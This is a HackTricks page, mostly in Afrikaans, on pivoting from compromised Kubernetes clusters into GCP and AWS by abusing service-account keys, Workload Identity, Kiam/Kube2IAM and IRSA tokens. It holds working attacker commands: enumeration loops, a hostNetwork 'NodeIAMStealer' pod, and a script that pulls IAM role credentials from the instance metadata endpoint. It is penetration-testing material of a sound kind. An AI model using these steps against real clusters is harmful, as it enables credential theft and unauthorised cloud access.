Kubernetes Pivoting to Clouds

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

GCP

As jy 'n k8s-kluster binne GCP bestuur, wil jy waarskynlik hê dat 'n toepassing wat binne die kluster loop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:

Mounting GCP-SA keys as secret

'n Algemene manier om toegang tot 'n kubernetes-toepassing tot GCP te gee, is om:

• 'n GCP-diensrekening te skep

• Die gewenste toestemmings daarop te bind

• 'n json-sleutel van die geskepte SA af te laai

• Dit as 'n geheim binne die pod te monteer

• Die GOOGLE_APPLICATION_CREDENTIALS omgewing veranderlike in te stel wat na die pad wys waar die json is.

Daarom, as 'n aanvaller, as jy 'n houer binne 'n pod kompromitteer, moet jy kyk vir daardie env veranderlike en json lêers met GCP-akkrediteer.

Relating GSA json to KSA secret

'n Manier om toegang tot 'n GSA aan 'n GKE-kluster te gee, is deur hulle op hierdie manier te bind:

• Skep 'n Kubernetes-diensrekening in dieselfde naamruimte as jou GKE-kluster met die volgende opdrag:

Copy codekubectl create serviceaccount <service-account-name>

• Skep 'n Kubernetes Secret wat die geloofsbriewe van die GCP-diensrekening bevat waartoe jy toegang tot die GKE-kluster wil verleen. Jy kan dit doen met die gcloud opdraglyn hulpmiddel, soos in die volgende voorbeeld getoon:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Bind die Kubernetes Secret aan die Kubernetes diensrekening met die volgende opdrag:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

In die tweede stap is die bewyse van die GSA as geheim van die KSA gestel. Dan, as jy daardie geheim van binne die GKE kluster kan lees, kan jy eskaleer na daardie GCP diensrekening.

GKE Werklas Identiteit

Met Werklas Identiteit kan ons 'n Kubernetes diensrekening konfigureer om as 'n Google diensrekening op te tree. Pods wat met die Kubernetes diensrekening loop, sal outomaties as die Google diensrekening autentiseer wanneer hulle toegang tot Google Cloud API's verkry.

Die eerste reeks stappe om hierdie gedrag te aktiveer is om Werklas Identiteit in GCP te aktiveer (stappe) en die GCP SA te skep wat jy wil hê k8s moet naboots.

• Aktiveer Werklas Identiteit op 'n nuwe kluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Skep/Opdateer 'n nuwe nodepool (Autopilot-klusters het dit nie nodig nie)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Skep die GCP Diensrekening om te verteenwoordig vanaf K8s met GCP-toestemmings:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Verbind met die kluster en skep die diensrekening om te gebruik

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Bind die GSA met die KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• Voer 'n pod uit met die KSA en kontroleer die toegang tot die GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Kontroleer die volgende opdrag om te autentiseer indien nodig:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

As 'n aanvaller binne K8s moet jy soek na SA's met die iam.gke.io/gcp-service-account annotasie aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie sou wees om te probeer om elke KSA in die kluster te misbruik en te kyk of dit toegang het. Van GCP is dit altyd interessant om die bindings te tel en te weet watter toegang jy aan SA's binne Kubernetes gee.

This is a script to easily iterate over the all the pods definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM-rol vir Pods)

'n (verouderde) manier om IAM-rolle aan Pods te gee, is om 'n Kiam of 'n Kube2IAM bediener te gebruik. Basies moet jy 'n daemonset in jou kluster laat loop met 'n soort bevoorregte IAM-rol. Hierdie daemonset sal die een wees wat toegang tot IAM-rolle aan die pods wat dit nodig het, sal gee.

Eerstens moet jy watter rolle binne die naamruimte toeganklik is, konfigureer, en jy doen dit met 'n annotasie binne die naamruimte objek:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Sodra die naamruimte geconfigureer is met die IAM rolle wat die Pods kan hê, kan jy die rol wat jy op elke pod-definisie wil hê, aandui met iets soos:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

As 'n aanvaller, as jy hierdie annotasies in pods of namespaces of 'n kiam/kube2iam bediener wat loop (waarskynlik in kube-system) vind, kan jy alle role wat reeds deur pods gebruik word en meer naboots (as jy toegang het tot die AWS-rekening, tel die rolle op).

Skep Pod met IAM Rol

Die IAM rol wat aangedui moet word, moet in dieselfde AWS-rekening wees as die kiam/kube2iam rol en daardie rol moet in staat wees om dit te benader.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Rol vir K8s Diens Rekeninge via OIDC

Dit is die aanbevole manier deur AWS.

1. Eerstens moet jy ‘n OIDC-verskaffer vir die kluster skep.

2. Dan skep jy ‘n IAM rol met die toestemmings wat die SA benodig.

3. Skep ‘n vertrouensverhouding tussen die IAM rol en die SA naam (of die namespaces wat toegang tot die rol aan al die SAs van die namespace gee). Die vertrouensverhouding sal hoofsaaklik die OIDC-verskaffer naam, die namespace naam en die SA naam nagaan.

4. Laastens, skep ‘n SA met ‘n annotasie wat die ARN van die rol aandui, en die pods wat met daardie SA loop, sal toegang hê tot die token van die rol. Die token is geskryf binne ‘n lêer en die pad is gespesifiseer in AWS_WEB_IDENTITY_TOKEN_FILE (standaard: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Om aws te kry met die token van /var/run/secrets/eks.amazonaws.com/serviceaccount/token, voer uit:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

As 'n aanvaller, as jy 'n K8s-kluster kan opnoem, kyk vir diensrekeninge met daardie annotasie om op te skaal na AWS. Om dit te doen, net exec/create 'n pod met een van die IAM bevoorregte diensrekeninge en steel die token.

Boonop, as jy binne 'n pod is, kyk vir omgewingsveranderlikes soos AWS_ROLE_ARN en AWS_WEB_IDENTITY_TOKEN.

Soms mag die Vertrouensbeleid van 'n rol sleg geconfigureer wees en in plaas daarvan om AssumeRole-toegang aan die verwagte diensrekening te gee, gee dit dit aan alle diensrekeninge. Daarom, as jy in staat is om 'n annotasie op 'n beheerde diensrekening te skryf, kan jy toegang tot die rol verkry.

Kyk na die volgende bladsy vir meer inligting:

AWS - Federation Abuse

Vind Pods 'n SAs met IAM Rolle in die Kluster

Dit is 'n skrip om maklik oor al die pods en sas definisies te herhaal op soek na daardie annotasie:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Rol

Die vorige afdeling was oor hoe om IAM Rolle met pods te steel, maar let daarop dat 'n Node van die K8s-kluster 'n instansie binne die wolk gaan wees. Dit beteken dat die Node hoogs waarskynlik 'n nuwe IAM rol gaan hê wat jy kan steel (let daarop dat gewoonlik al die nodes van 'n K8s-kluster dieselfde IAM rol sal hê, so dit mag nie die moeite werd wees om op elke node te probeer kyk).

Daar is egter 'n belangrike vereiste om toegang tot die metadata-eindpunt vanaf die node te verkry, jy moet in die node wees (ssh-sessie?) of ten minste dieselfde netwerk hê:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Previously we have discussed how to attach IAM Roles to Pods or even how to escape to the Node to steal the IAM Role the instance has attached to it.

You can use the following script to steal your new hard worked IAM rol geloofsbriewe:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Verwysings

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.